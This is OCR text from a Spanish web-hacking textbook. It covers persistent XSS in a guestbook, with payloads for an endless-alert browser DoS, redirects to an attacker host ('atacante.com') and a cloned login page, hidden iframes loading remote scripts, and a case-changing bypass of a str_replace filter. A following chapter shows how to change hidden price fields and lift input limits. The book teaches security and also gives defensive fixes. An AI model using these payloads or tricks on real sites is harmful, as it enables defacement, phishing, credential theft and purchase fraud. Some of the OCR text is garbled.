Galletitw=gf6 7 Su6 Selfe S2eub i

Figura 16. En la ventana superior del navegador
vemos la inyeccion de codigo, mientras que
en la inferior esta la cookie que le robamos al usuario.

Finalmente, tenemos la cookie del usuario. ;Qué es lo que sigue?
Basicamente, debemos reemplazar la cookie que se nos haya asignado

444

Que un sitio web no posea ni un buscador ni mensaje de bienvenida no implica que no sea vulnerable a

XSS. En este capitulo solo vimos algunos casos para dejar en claro el tema. Lo importante es encontrar
una entrada de datos, es decir, un lugar donde podamos realizar la inyeccién y que sea incluida en el
codigo fuente de la pagina.
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por la que acabamos de obtener. En el préximo capitulo trataremos
detalladamente el “envenenamiento” de cookies y aprenderemos a
crearlas, editarlas y reemplazarlas.

XSS persistente

El Cross-Site Scripting persistente quizas sea mas interesante
que el reflejado, pero es menos comun. La inyeccion de codigo que
hagamos sera almacenada por la base de datos del sitio y quedara
permanentemente alli, afectando a todas las personas que visiten
la pagina vulnerable. Necesitamos, como atacantes, una entrada de
datos que guarde lo que introducimos y lo imprima siempre en alguna
seccion del sitio, de modo que todos los visitantes lo vean.

En esta seccién realizaremos practicas sobre una aplicacion que
se conoce como guestbook (en esparfiol, libro de visitas) y suele
ser vulnerable al XSS persistente, ya que implica un area donde se
escriben comentarios, que se guardan y son mostrados a todos los
visitantes de un sitio.

[Ee—

& & locskst 2]

Publizar camanng! ‘

Comentario enviado por Sheila:
Este es un libro de visitas, la aplicacién web que utilizaremos para nuestras
précticas.

Figura 17. Utilizaremos un guestbook para nuestras
practicas, ya que suelen ser vulnerables a XSS.
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El libro de visitas

En internet esta lleno de sitios web, blogs y demas donde
podemos dejar nuestros comentarios, pero lo interesante es que no
todos los programadores web recuerdan supervisar correctamente
lo que la gente escribe alli.

El escenario sobre el que practicaremos es el tipico libro de
visitas (como el que muestra la Figura 17) y la entrada de datos
que usaremos es el area de texto para los comentarios.

Podemos directamente escribir nuestra inyeccién JavaScript en
dicha area de texto y enviar el “comentario” (entre comillas, ya que
lo que enviamos en realidad es un c6digo malicioso). Puede que
nos salga bien y se ejecute la inyeccién en el navegador de todos
los visitantes. Sin embargo, una gran parte de los libros de visita
cuenta con algun tipo de revisiéon sobre lo que se envia, lo que
complica la realizacién de la inyeccion.

Muchos programadores supervisan o filtran el contenido que envian
los usuarios mediante esta area de texto. Puede pasar que la inyeccion
se imprima como texto plano sin ejecutarse, o que directamente se la
rechace. Lo mejor es tener la mayor certeza posible de que el libro de
visitas es vulnerable a XSS. Para lograrlo, realizaremos algunas pruebas
simples antes de enviar la inyeccion real.

Una idea interesante es incluir en nuestro comentario alguna
etiqueta en lenguaje HTML (por ejemplo, <strong>negrita</strong>). Si al
imprimirse la pagina vemos que tales etiquetas se incluyen en el codigo
fuente estaremos mas seguros a la hora de inyectar en JavaScript, ya
que probablemente las etiquetas <script></script> tampoco se estén
filtrando. En caso de que la aplicacién cuente con filtros sobre lo que
se envia, hacer una prueba en HTML levanta mucha menos sospecha
que si se realiza directamente la inyecciéon maliciosa en JavaScript.

444

Esta vulnerabilidad ocupa el octavo puesto en el top ten de vulnerabilidades OWASP. Cross-Site

Scripting se aprovecha de la confianza que tiene el usuario sobre el sitio vulnerable, mientras que
Cross-Site Request Forgery (XSRF) funciona a la inversa, ya que explota la confianza que tiene el
sitio sobre el usuario.
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Nombre:

|sheilas

Comentario:
fiola, soy <hl>Shei</h1> mi proxiso -
lcomentario serd una inyeccidn XSS
lip

|. Paticar tenermria’ ]

Comentario enviado por Sheila:
Hola, soy

Shei

mi proximo comentario serd una inyeccion XSS :P

Figura 18. Pusimos entre las etiquetas <hl>y </hl>
una palabra que, al imprimirse, se muestra en mayor tamano,
por lo tanto, la aplicacion no filtra cédigo HTML.

De todos modos, que un libro de visitas o una aplicacion
vulnerable a XSS tenga un sistema de filtrado sobre lo que los
usuarios escriben y envian, no garantiza 100% de seguridad contra
la vulnerabilidad en cuestion. Mas adelante, en este mismo capitulo,
hablaremos de como evadir los filtros.

En definitiva, el mensaje que enviamos se guarda en la base de datos
del sitio, para luego imprimirse en la pagina del libro de visitas y que
todos lo vean. Para llevar a cabo un Cross-Site Scripting persistente
tenemos que encontrar un lugar donde lo que inyectemos sea incluido
permanentemente en el sitio, para que pueda ser ejecutado en el
navegador de todos los usuarios. A continuacion, analizaremos
diferentes cédigos en JavaScript muy interesantes para inyectar en
aplicaciones vulnerables a este tipo de XSS.

Ataque DoS al navegador

El ataque de denegacion de servicio (Denial of Service,
DoS) impide que usuarios validos o licitos puedan utilizar un
determinado servicio. Quizas hayamos escuchado o leido noticias
sobre ataques DoS que se realizan a sitios web: el objetivo es
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consumir el ancho de banda o provocar un exceso de carga de los
recursos del sistema (en este caso, del servidor web) de modo que
quede temporalmente fuera de servicio.

Trafico en exceso

S

Hacker Servidor

Figura 19. Generar mucho trafico sobre un servidor hara
que éste quede temporalmente fuera de servicio.

A través de un XSS, lo que se busca es
denegarle al usuario el uso de su navegador

LOS ATAQUES “D0S” web, de modo que se vea obligado a “matar”
CONSUMEN EL ANCHO el proceso del navegador y pierda todo lo que

estaba haciendo, si no lo habia guardado.

DE BANDADE UN Conocer este método permite tomar
SERVIDOR Y LO DEJAN conciencia de lo que se puede hacer explotando

la vulnerabilidad de XSS.

FUERA DE SERVICIO Si una ventana hecha con alert() es fastidiosa,

varias a la vez lo son mucho mas.

Y peor aun es encontrarse un bucle
interminable de ventanitas en el navegador y que al cerrarlas solo
logremos que aparezcan otras, hasta que no queda mas remedio
que finalizar el proceso.

En el ambito de la seguridad informatica, un gusano es un virus que se propaga de equipo en equipo sin
la necesidad de un portador. Existen los gusanos XSS, que buscan modos de propagar las inyecciones
en JavaScript para ejecutarse de navegador en navegador. Algunas redes sociales han sufrido ataques

importantes de este tipo de gusanos.
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€ Guestwook |+
1-_ B tocathast AtV nershies Copesifions pm % |l Gongle

Mo podris deshacere de

| Ao |

Figura 20. Presionando el botén Aceptar solo lograremos
ver otra ventanita idéntica, y asi sucesivamente,
obligandonos a “matar” el proceso del navegador web.

Para lograr el efecto, tenemos que introducir en el area de texto
para los comentarios el siguiente codigo en JavaScript:

<script>

for (;;)

alert(“No podras deshacerte de mi”);
</script>

En caso de que el navegador bloquee las ventanas generadas
con alert(), podremos hacer una inyeccién HTML para que refresque
el contenido de la pagina en forma continua, lo cual es también
sumamente fastidioso e impide seguir usando correctamente el
navegador. La inyecciéon HTML de la que hablamos es la siguiente:
<meta http-equiv=""refresh” content="0">.

En un XSS persistente, esta inyeccion se ejecutaria en el navegador
de todas las personas que visiten la aplicacion vulnerable.

Sin embargo, una vulnerabilidad de este tipo puede ser aprovechada

de un mejor modo.
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Redireccion a otra web

Para un hacker malintencionado puede ser de interés redireccionar a
todos los usuarios que ingresan a un sitio hacia otro lado, evitando que
accedan a la aplicacion real. Como mencionamos en el comienzo de
este capitulo, el limite de lo posible esta en nuestra imaginacién.

Servidor que hospeda
la pagina con el codigo
inyectado para redireccionar

paginavulnerable.html

paginavulnerable.html @
con c6digo inyectado =

‘ redireccion a la web del hacker

Usuario

Servidor que hospeda
la pagina del hacker

Figura 21. Con un breve cddigo en JavaScript podemos
redireccionar al usuario para donde nosotros queramos.

En el Capitulo 1 hemos hablado de los defaces, es decir, de
reemplazar el contenido de una pagina web por otro (como por
ejemplo, un mensaje de queja hacia el administrador del sitio). Con una
inyeccion en JavaScript podemos redireccionar a los usuarios hacia un
documento hospedado en cualquier otro lugar, que contenga lo que se
desea mostrar (mensaje, video, etcétera) en lugar de la web original.

La inyeccion de codigo que realizaremos mediante el area de texto
para los comentarios es la siguiente:

<script>
location.replace(*http://atacante.com/deface.php”);
</script>
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Nombre:

Comentario:
CEEFipEs

ion.replace("http://localhost

eface.php™);</script>

Paticar camertir |

Figura 22. En la ventana superior vemos la inyeccion de codigo:
una vez realizada, el usuario seréa redireccionado ahi mismo
y vera el deface en lugar de la web original (ventana inferior).

Si los usuarios ingresaron al sitio que querian visitar a través
de la direccion URL correspondiente, estaran seguros de que nadie
robara sus cuentas.

Pero si el atacante los redirecciona hacia un sitio idéntico al
original que intentaban acceder, es probable que no lo perciban,
confien en la aplicacién e introduzcan sus datos de acceso,
facilitando el robo de sus datos al atacante.

La inyeccién que vamos a realizar funciona de la misma manera
que la anterior, pero con una sintaxis un poco diferente:

= '4"4"4
M
Alo largo de este capitulo hemos visto diferentes inyecciones programadas en JavaScript. La realidad es
que podemos crear muchisimas mas, como por ejemplo, programar un cuadro de didlogo que le pida al

usuario su contrasefa con la excusa de que ha expirado la sesién. En conclusién, cuanto mas se conoce

JavaScript, mejor se puede explotar esta vulnerabilidad.
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<script>
document.location.href = “www.dominio.com/web.php”;
</script>
-
* ,4 t 3]
Usuario:
Password:
Comentario:
<script>docusent . location. href="http:
/{1ocalhost/GuestBook2.php™;</script>
——
(SRS
evoct +
& 3 kb (2]
lhﬂ:
Passward.

Figura 23. Al realizar la inyeccion de codigo (ventana superior), nos
redireccionan y vemos una copia exacta de la pagina original (ventana inferior).

En las Figuras 22 y 23, se muestra primero la inyeccion de coédigo
JavaScript y, debajo, su consecuencia. La redireccién se realiza en una
misma ventana (no se abre una aparte) y solo cambia la direccién URL.

Insercion de iframes

La etiqueta <iframe> de HTML permite insertar un documento
dentro de otro. Por ejemplo, una pagina web dentro de otra. Para
aclarar dudas realizaremos una demostracién de su uso, con el libro
de visitas que empleamos en nuestras practicas. Introduciremos el
siguiente c6digo en el area de texto para los comentarios:

<iframe src="http://www.yahoo.com” width=300 height=400>
<p>Este texto lo veras si tu navegador no soporta iframes</p></iframe>
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Nombre:

[shei

Comentario:
(ciframe src="http://waw.yahoo.com” |
width=300 height=2003</|frane>

[Frem—

Comentario enviado por Shei:

YaHOO!

AHGEN‘IINA.

@ W00 B whoo
5 -
Convertite en DT con

Ia Liga Fantastica
A ey U e 1y La Dugu

Figura 24. Al ejecutarse la inyeccion de cédigo anteriormente
citada se inserta un iframe en la pagina vulnerable a XSS.

Algo mas interesante de insertar podria ser un documento
de JavaScript mas complejo, que contenga un codigo util para el
atacante. Otro detalle es cambiar los valores de framehorder, width
y height a cero, para que no se perciba la presencia del iframe en la
pagina vulnerable. El cédigo a inyectar en el area de texto para los
comentarios seria el siguiente:

<iframe frameborder=0 height=0 width=0
src=javascript:void(document.location=""http://sitio.com/codigo.js" )></iframe>

La cabecera Referer del protocolo HTTP le informa a un sitio desde donde venimos. Por ejemplo, si

desde www.google.com ingresamos a www.page.com, la pagina de Google figurara como referer en
www.page.com. Si un sitio web imprime este dato, podemos reemplazar el contenido de la cabecera
por una inyeccién en JavaScript.
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Una opcion mas breve es:

<iframe src="http://sitio.com/codigo.js” width=0 height=0
frameborder=0><iframe>

En este caso, hemos insertado el archivo codigo.js, que contiene
el script que queremos ejecutar en el navegador sin que los usuarios lo
puedan advertir. Tal script podria ser, por ejemplo, un cédigo que
obtenga todo su historial de navegacion. En la Figura 25 podemos
observar co6mo quedaria nuestro comentario con la insercién del iframe.

Nombre:
[shed
Comentario:
<iframe src="http://.sitlo.com
/codigo, js” frameborder=0 width=0
eleht=@></iframe> <---- Aunaue no
ilhluwu-mn :

Comentario enviado por Shei:
<--— Aunque no lo veas aqui hay un iframe que robara tus datos! :)

Figura 25. Podemos utilizar iframes para ejecutar codigos JavaScript
en el navegador web del usuario sin levantar sospechas.

Evasion de filtros

Un filtro de agua se encargaria de quitar todo lo que en ella
esté de mas, de modo que al consumidor le llegue limpia. En la
programacion, un filtro se encarga de evitar la ejecucion de los
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caracteres propios de una inyeccion: <y >, (y ), ;, / (y algunos otros
mas). Podemos encontrar muchos filtros en la web, pero existen
también numerosas técnicas de evasion.

|+

Hola [No se permiten inyecciones JavaScript! ;),
Estas usando el navegador web Firefox 11.0
Tu sistema operativo es Windows 7
Y tu direccién IP: 190.68.105.33

Figura 26. En la web podemos encontrar
muchos filtros que evitaran la ejecucion
de inyecciones de codigo cuando lo intentemos.

Prueba y error

Un filtro programado en JavaScript facilita mucho la tarea de
evadirlo, ya que puede ser visto tan solo con mirar el codigo fuente
de la pagina. En caso de estar creado en PHP ni siquiera se puede
ver como esta programado, dado que este lenguaje se ejecuta del

DOM XSS es un ataque poco comin y algo complicado. La diferencia con los demas Cross-Site Scripting

esté en que la inyeccidn se ejecuta en el navegador del usuario a través de la URL, pero no se incluye en
el cadigo fuente de la pagina. Por ejemplo, si el usuario tiene una pagina web personal, sera (til ya que

permite ejecutar codigo en su navegador usando sus permisos.
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lado del servidor, situacion en la cual solo queda intentar evadirlo a
prueba y error. Supongamos que queremos inyectar un simple alert
(<script>alert(‘XSS’);</script>) pero nos encontramos frente a un filtro
que evita el uso de la etiqueta <script>, impidiéndonos por lo tanto
realizar inyecciones en JavaScript. Imaginemos que el cédigo del filtro
es similar al siguiente:

<?php

$user = $_GET[‘user'];

$user_filtro = str_replace(“<script>","",$user);
7>

La funcién str_replace() de PHP sirve para remplazar determinados
caracteres (parametro uno), por otros caracteres (parametro dos),
dentro de una cadena de texto (parametro tres). En este caso, se
examinara el contenido de la variable user en busca de los caracteres

<script> y no se los reemplazara, ya que el
segundo parametro esta vacio (“”); como

MUCHOS FILTROS consecuencia, se elimina la etiqueta <script>.

ANTI-XSS

Cuando intentemos realizar nuestra inyeccion,
solo lograremos

UTILIZAN que se imprima como texto plano el cédigo

LA FUNC|6N PHP JavaScript sin sus etiquetas. Es decir,
visualizaremos en pantalla inicamente el texto

STR_REPLACE“ (por ejemplo, alert(‘XSS’)), sin que se ejecute la

inyecciéon. ;Cémo evadirlo, entonces?
Podemos intentar escribiendo la etiqueta en

mayuscula (<SCRIPT>) o alternando (<ScRIpT>), ya que la funcién

str_replace() es sensible a mayusculas y minusculas. En el ejemplo
del filtro que analizamos, inicamente se esta filtrando la etiqueta
<script> en minudscula.

Es probable que se utilicen filtros mas complejos, quizas haciendo
uso de un array() con las etiquetas HTML permitidas (por ejemplo, en
un libro de visitas). Aun asi, desde el punto de vista de la seguridad
debemos tener mucho cuidado al usar funciones como str_replace() y
similares para la creacion de filtros, ya que podrian ser evadidos.
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Uso de majuscutas?

| Acrpter |

Figura 27. Alternar entre mayusculas y minusculas puede ser una buena
opcidn para saltar filtros que utilicen str_replace().

Una opcion que ayuda a crear un filtro mas seguro es strip_tags().
Segun la guia de www.php.net, esta funciéon elimina las etiquetas HTML
y PHP de la cadena de texto que recibe como parametro. En la practica, el
filtro programado correctamente quedaria de la siguiente manera:

<?php

$user = $_GET[‘user'];
$user_filtro = strip_tags($user);
7>

El Cross-Site Scripting ocupa actualmente el tercer puesto en el top ten de vulnerabilidades OWASP.

A lo largo de este capitulo, aprendimos el funcionamiento de la técnica y el peligro que envuelve. Trata-
mos dos tipos de Cross-Site Scripting, persistente y reflejado, y realizamos practicas con diversas apli-
caciones e inyecciones en JavaScript. Aprendimos a obtener credenciales de acceso de otros usuarios
y a denegar el uso de un navegador web, entre otras acciones. Por tltimo, analizamos los distintos tipos
de filtros que se pueden presentar y como crear una aplicacion segura.
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Actividades
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TEST DE AUTOEVALUACION

(Cémo funciona la técnica de Cross-Site Scripting?

¢(Por qué decimos que JavaScript “esta de nuestro lado™?

;Qué debemos encontrar para llevar a cabo un X§S?

;Qué se puede lograr explotando esta vulnerabilidad?

(Cudl es la diferencia entre Cross-Site Scripting persistente y reflejado?
¢(Por qué es interesante para un atacante obtener la cookie de un usuario?
(Qué significa realizar un ataque DoS$ al navegador?

:Como puede un atacante redireccionar a los usuarios hacia otro sitio con una
inyeccion en JavaScript?

:Como podemos saltar los filtros que encontramos en la web?

EJERCICIOS PRACTICOS

Programe una aplicacion vulnerable a Cross-Site Scripting.
Realice una inyeccion JavaScript para obtener cookies ajenas.
Realice un ataque de denegacion de servicio a su navegador web.
Evada un filtro de datos que utilice |a funcion str_replace().

Programe una aplicacion segura contra Cross-Site Scripting.

PROFESOR EN LiNEA

Sitiene alguna consulta técnica relacionada con el contenido, puede contactarse
con nuestros expertos: profesor@redusers.com
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Del cliente al servidor

La mayoria de los sitios web hacen uso de formularios a

la hora de solicitar informacion al cliente. Puede resultar
util modificarlos, ver sus campos ocultos, eliminar limites

y demas. Aprenderemos a manejar herramientas que nos
ayudaran a manipular formularios y modificar los datos que
van del cliente al servidor. También hablaremos sobre el

envenenamiento de cookies y otros ataques de este tipo.

v Manipulacion v RESUMEN....ccccmccreccnrsassassmsmnsnas 165 *

de formularios.......ccceeecnerenee.. 146

v Actividades......c.coccraerarraninsanas 166
v Interceptar datos...................156

v Envenenamiento de coolies..160
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Manipulacion de formularios

Formularios de contacto, suscripcion, registro, acceso, biisqueda,
preguntas, compra y muchisimo mas: estan practicamente en todos
lados. Es muy comun que las aplicaciones web soliciten informaciéon a
sus visitantes y los formularios son el medio que utilizan para lograrlo.

Analicemos lo siguiente: un formulario de busqueda quizas sea
vulnerable a una inyeccién XSS, pero podria darse el caso de que
el campo de texto permita insertar tan solo diez caracteres. En una
inyeccion JavaScript, diez caracteres no alcanzan para modificar el
comportamiento de la pagina; sin embargo, el limite se puede eliminar.

jes= @ Information- [E Miscellaneous~ # Outline~ 4 Resizew & Tools- [l View Source- |[] Options~

BUSCADOR <,

( <script>al )
BUSCAR!

Figura 1. Un campo de texto puede poseer una limitacion
que impida escribir mas de una determinada cantidad de caracteres,
lo que podria dificultar una inyeccion.

En un formulario de compra, por ejemplo, puede que el precio del
producto que vamos a adquirir se encuentre en un campo que a simple
vista no podemos ver. Sin embargo, existen técnicas para visualizar los
campos ocultos e incluso modificarlos.

En definitiva, un hacker puede manipular los formularios que

haya dentro de un sitio web, modificando cada componente a su
conveniencia, eliminando limites, leyendo y editando campos ocultos,
entre otras acciones. A lo largo de este capitulo, analizaremos varias
técnicas de ataque que pueden ser llevadas a cabo del lado del cliente.
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Web Developer

Web Developer es un excelente complemento para Firefox y
lo utilizaremos en las proximas secciones. Podemos obtenerlo en la
pagina addons.mozilla.org y, una vez instalado, veremos que se
nos afade una barra con multiples menuds que contienen interesantes
herramientas y opciones.

Se trata de un complemento ideal para desarrolladores web, ya que
permite obtener informacion de todos los componentes de la pagina

(imagenes, estilos CSS, cookies, enlaces, documentos, tablas, etcétera).

En adelante nos enfocaremos en el menua Forms.

PO

4 et Devrlager . Compementen pars Fo_ | #

P ey L]
@ nmie & Cochonr 7 55 [ Frorrme (i Irmager A brbmvrvatore i Mmsebarasun 7 Gutrer o bawiee & Vot 8 Voo Smsrer L, Optemee

e COMPLEMENTOS [ |

*

¥

Web Developer

Figura 2. Web Developer es un excelente add-on para Firefox vy,
al instalarlo, anade una barra con herramientas de mucha utilidad.

Detalles del formulario

El item Display Form Details del ment Forms sirve para visualizar
los detalles del formulario. Al seleccionar esta opcién, apareceran

recuadros al costado de los componentes del formulario que mostraran

el codigo HTML de cada uno. Por ejemplo, de un campo de texto
obtendremos identificador, nombre y cantidad maxima de caracteres
permitidos. Lo mismo ocurre con el resto de componentes (ya se trate
de botones, area de texto, listas, casillas, etcétera).

Con respecto al formulario en si, veremos la propiedad action que,
como su nombre indica, es la accién que se realiza al enviar los datos.

www.redusers.com
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Por ejemplo, en el caso de una suscripcion, podriamos ver algo similar
a lo siguiente: action="suscribirse.php” (este archivo se encargara de
almacenar nuestro correo electréonico).

I B SLECTROMICA | COMTACTO g

Ph - ]

@ Dastier & Cosker # C33 [ Fome @ imager @ Stomaise [l Mictlewsse ' Ostne 7 Rsor X Tock: B Ve Sourer 5] Optises
)

Pangase en comtacto con nosotron A traves del formudario situsdo a s
deracha o visitenos en ruestras oficina.

Figura 3. Mediante este add-on podemos
ver el codigo de cada componente del formulario.

Existe también otra opcién para ver informacion sobre los
formularios, View Form Information. La diferencia con el item anterior
radica en que, en este caso, se abre una pestafia en el navegador que
muestra de manera organizada los detalles de cada formulario.

Contrasenas al descubierto

Cuando una aplicacién web con formulario de ingreso solicita nuestra
contrasefia, al momento de introducirla vemos asteriscos o puntos en

"4"4"4

Asi como hay lenguajes de programacion que se ejecutan del lado del cliente, también estan los que se
interpretan en el servidor web. Algunos de los mas conocidos son PHP, PERL, ASP, JSP. Es importante

saber que los filtros y/o sistemas de seguridad serdn mucho mas efectivos si los programamos en tec-
nologias que se ejecuten del lado del servidor.
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WEB HACKING =45 149

lugar de los caracteres que realmente escribimos. El item Display
Passwords del menu Forms sirve para quitar esa seguridad, de modo que
veamos los caracteres escritos como si fuera un campo de texto normal.

Registrate

Facebook te ayuda a comunicarte y
compartir con las personas que forman parte
de tu vida.

Fecha de nacimients
+ Dalel| At =

Figura 4. Haciendo uso del item Display Passwords podremos
visualizar la contrasena escrita en lugar de los asteriscos.

GET a POST y POST a GET

Cuando un formulario envia los datos al
servidor, puede hacerlo a través del método

POST (“invisible” al usuario) o mediante GET, WEB DEVELOPER

que permite ver todo lo que se envia en la CONVIERTE LOS

barra de direcciones. Web Developer brinda la i i

posibilidad de convertir los métodos de envio METODOS DE ENVIO

de informacion, de GET a POST y de POST a GET. DE |NFORMAC|6N
Para aclarar las dudas que puedan surgir al

respecto, aplicaremos esta herramienta sobre AL SERVIDOR

un formulario de contacto que utiliza el método

POST. Por lo tanto, al presionar el botén Enviar

no notaremos cambio alguno, ni en la aplicacion ni en la barra de
direcciones. Deberemos convertir el método de POST a GET mediante
el uso del item Convert Form Methods del menu Forms. Luego, al
presionar el boton Enviar, notaremos como cambia la direccién URL,
mostrando todos los datos enviados.
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Contactn +
* localhoe .
Dusbie: L Costome # (55 [ ] Ferme @ ¢ @ informaton B Misclansous 7 Outlines /7 Resioe & Took @ View Soarces ||, Optians
' ¥

{9 L fomm comventas o3 gex

FORMULARID DE CONTACTO

Nombre:

[sheila ayelen |

Apeliido:

[perta )

Telefono:

o)

Correo electronico:

[fhey.x78gnail.com |
(Administra una empresal: = Si ® No

Nombre de su empresa:

Mensaje:
Molall Este es mi mensaje....

Saludos

:b_mnql|

Figura 5. Podemos convertir el método de POST a GET
para que sean visibles los datos enviados en la barra de direcciones.

Convertir los métodos de envio de datos a GET simplifica la tarea
de buscar y explotar vulnerabilidades manualmente.

Activar campos deshabilitados

Puede que nos hayamos encontrado con formularios que
poseen campos deshabilitados, en los cuales no podemos escribir
ni modificar valores, y que comunmente se habilitan al seleccionar
alguna opcidén o tildar una casilla. Con Web Developer podemos
activar todos estos campos tan solo presionando el item Enable
Form Fields, del ment Forms.

La manipulacion de formularios es una técnica conocida como Form Tampering. Si queremos apren-

der mas acerca de esta técnica y conocer otras herramientas relacionadas que sean Utiles, podemos
encontrar en internet un sinfin de informacién en paginas web y documentos. Sélo es necesario abrir un
buscador y realizar una bisqueda bajo el titulo de Form Tampering.
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Contacts +
€  lowhos + (5]

@ Dustie- L Coshoms €55 [] Ferma G Imagers @ Infermasens [ Miscollansouss 7 Outlnes /7 Resioee K Tociss @l View Soarces || Optioms

FORMULARID DE CONTACTO

Mombre:

E§v~-.i- Ayelen |

Apeltido:

|Berta |
L. ——

larer-7346 |
Correo electronico:

[shey.x7@gmail.com |

(Administra una empresa?: Si ® No

Hombre de su empresa:
o tengo pero te habilite!)

Mansaje
El campo empresa ha sido habilitado mediante Web
Developer,

Figura 6. Mediante la opcion Enable Form Fields del menlu Forms,
activamos el campo Empresa (aunque no tengamos una).

Campos hidden: ;realmente ocultos?

Los sistemas de compra y venta ocupan una buena parte de
internet. Las aplicaciones utilizadas actualmente en el comercio
electrénico son modernas y dinamicas, ya que utilizan el lenguaje
PHP para conectar a bases de datos que contienen la informacion
sobre el producto en venta.

Si bien en todas las aplicaciones de este tipo podemos encontrar
diversas fallas de seguridad, en este caso trataremos una en particular,
que afecta a los sistemas simples programados en HTML/JavaScript que
encontramos en blogs o sitios web pequerios.

Tamper Data y Live HTTP Headers capturan el trafico HTTP permitiéndonos ver y modificar las cabe-

ceras que envia nuestro navegador. Ademés, podemos editar el contenido que las aplicaciones mandan
al servidor por método POST. Son complementos indispensables para saltar filtros y/o sistemas de
seguridad programados en tecnologias del lado del cliente.
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FORMULARIO DE COMPRA

Libro: Hackers de la web | Precio: USS 40

Nombre:
Apellido:
(

Telefono:
|

Direccion: =
M|
Seleccione el medio de pago
Seleccione un medio de pago )

=

Figura 7. Un sencillo formulario de compra
de productos puede ser manipulado facilmente.

En la Figura 7 podemos ver un formulario para realizar una
compra, en el que debemos completar los datos indicados para
adquirir un libro de hacking cuyo precio es de U$540. Si bien es
una aplicacion simple que no cuenta con una base de datos, utiliza
campos ocultos que contienen un valor (el precio), que a simple
vista los usuarios no pueden hallar ni modificar. Luego, envia todos
los datos juntos de modo que se imprima un cupon de compra.

Un atacante que se encuentre con una aplicacién de estas

caracteristicas sera muy afortunado, ya que
el contenido HTML (al igual que JavaScript)

PODEMOS se descarga y ejecuta en el navegador web del

ACCEDER A UN usuario, siendo muy sencilla su manipulaciéon
segun la propia conveniencia.

CAMPO OCULTO Para empezar debemos buscar la manera de

0 DESHABILITADO ver el campo oculto, con la ayuda, nuevamente,
del add-on Web Developer.

DE UN FORMULARIO Como vimos anteriormente, el item Display

Form Details del meni Forms nos despliega el
c6digo contenido en cada componente, y a la
vez permite ver todos los campos ocultos.
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Corprs du liven +

& @ locatnon
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FORMULARIO DE COMPRA

Libro: Hackers de la web | Precio; USS 40

Figura 8. El item Display Form Details también
permitira ver los campos ocultos que posea el formulario.

Una vez que accedemos al campo oculto, podemos modificar su
contenido a nuestra conveniencia. Lo que haremos, como ejemplo, es
cambiar el precio del libro por uno menor: U$S10 en lugar de U$540.
También podemos convertir el método de envio de datos a GET, de
modo que el precio aparezca en la direccion URL y podamos cambiarlo
desde ahi. Hecho esto, cuando presionemos el boton Comprar veremos
en la URL el nuevo precio junto a los demas datos ingresados.

De este modo, manipular un formulario de compra resulta rapido
y facil. Tengamos en cuenta que este fue solo un ejemplo. Los campos
ocultos se pueden encontrar en cualquier tipo de formularios y si no
los podemos ver sera porque quizas posean contenido interesante.

Existen diferentes lenguajes de programacion para paginas web; algunos se ejecutan del lado del cliente

y otros del servidor. Dentro de los que se interpretan en el navegador del usuario estén JavaScript,
Applets de Java y VBScript. Recordemos que no es para nada seguro programar filtros y sistemas de
seguridad en estas tecnologias.
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Comgra du lisves +

€ A ocainor I " v = g ’ -
D Onsbiv- L Cockier # €55 [ Fernwe G Image @ Informasian: 5 Miscollensow o Outline ' Revize X Tock [l View Sowce ) Optior

FORMULARIO DE COMPRA

Libro: Hackers de la web | Precio: USS 40

Figura 9. Modificamos el contenido del campo oculto
y compramos el libro a USS10, en lugar de USS40.

Si somos administradores de un sitio web que posee una aplicaciéon
similar a la analizada, deberiamos contar con conocimientos de PHP y
bases de datos para armar un sistema mas seguro o buscar aplicaciones
para comercio electrénico ya programadas.

Eliminar el limite

Ya sabemos que, segiin la aplicacion, un campo de texto puede
ser usado para inyectar cédigo HTML/JavaScript en la pagina. Las
inyecciones que programamos suelen tener una buena longitud (por
ejemplo, un cédigo para obtener las cookies posee alrededor de 90
caracteres), por lo cual el administrador del sitio quizas vea como una

444

Un complemento para Firefox muy interesante es Firebug, que al igual que Web Developer es (til para

los desarrolladores web. Permite editar todo el codigo fuente de la pagina (incluidos los formularios),
tiene una interfaz agradable y es facil de usar. En resumen, se trata de una alternativa a Web Developer.
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medida de seguridad poner un limite en los campos de texto, mediante
la propiedad maxlength (por ejemplo, si el valor de dicha propiedad es
25, podemos escribir como maximo 25 caracteres).

po—
- 4]

@ Cnatle L Covhin (85 [J Formee Wl iraper @ isfermateon [ Mucserscue 7 Ouine /' hesee 4 Tosie B Vow Seur A Optiser

BUSCADOR

Figura 10. Un campo de texto puede poseer un limite de caracteres,
con el objetivo de que no podamos escribir la inyeccion completa.

En los formularios un limite puede ser eliminado facilmente, por lo
que aplicarlos no sirve de mucho. El item Remove Maximum Lengths del
menu Forms da la posibilidad de eliminar la restriccion de caracteres.

L]

€55 [ Fomr G bemger- @ bfoersvere [l Mstimemss: /* Outine- /' Resioet 38 Taste I Veow Seurse (I Optiere-

BUSCADOR -+

b pe="wenrin o] <script>alert( Ahora-si');</script>

Figura 11. Podemos eliminar facilmente un limite
de caracteres con la herramienta Web Developer.
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Manipular los formularios es muy facil y los resultados pueden ser
bastante tutiles e interesantes para un atacante, aunque dafiinos para
el administrador de la pagina, el usuario y/o la persona que vende
un producto mediante una aplicacién mal programada como las que
hemos visto. Para evitar esta serie de problemas, es importante utilizar
tecnologias que se ejecuten del lado del servidor, y asi validar los datos
ingresados por los usuarios.

Interceptar datos

Cuando alguien es utilizado como medio para llevar
informacion de una persona a otra, se corre el riesgo de que sea
total o parcialmente modificada por quien la porta. En esta seccién,
interpretaremos ese rol y estaremos ubicados en medio de la
conexion entre nuestro navegador y el servidor web, interceptando
y modificando los datos que se envian.

Google

Navegador web Servidor

Figura 12. Un hacker puede obstruir los datos que
se envian y modificarlos antes de que lleguen al servidor.

Quizas nos estemos preguntando qué sentido tiene interceptar
nuestra propia comunicacién para modificar los datos que nosotros
mismos enviamos al servidor, siendo mas practico editar directamente
desde el navegador.

Si bien el cuestionamiento es légico, mirando simplemente la
pantalla no estamos al tanto de todo lo que ocurre. Solo al interceptar
la comunicaciéon podemos conocer todas las consultas que realiza
nuestro navegador al servidor web cuando descargamos, ejecutamos
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y utilizamos una aplicaciéon. Puede que las peticiones contengan
datos de interés, por lo cual es til ver el contenido de cada una
y modificarlo a nuestra conveniencia.

Tamper Data

Para concretar esta mediacion necesitamos una herramienta que
ingrese en la conexion: Tamper Data, un complemento para Firefox
que podemos descargar e instalar como cualquier otro add-on (una vez
instalado, veremos el item Tamper Data en el menua de herramientas de
Firefox). Este interesante complemento permite ver y modificar las
cabeceras HTTP que le envia nuestro navegador al servidor web,
otorgandonos la posibilidad de modificar cualquier dato que envie
la aplicaciéon que estemos usando.

Dato
: Dato Tamper  modificado
Google —— data e
Navegador web Respuesta Servidor

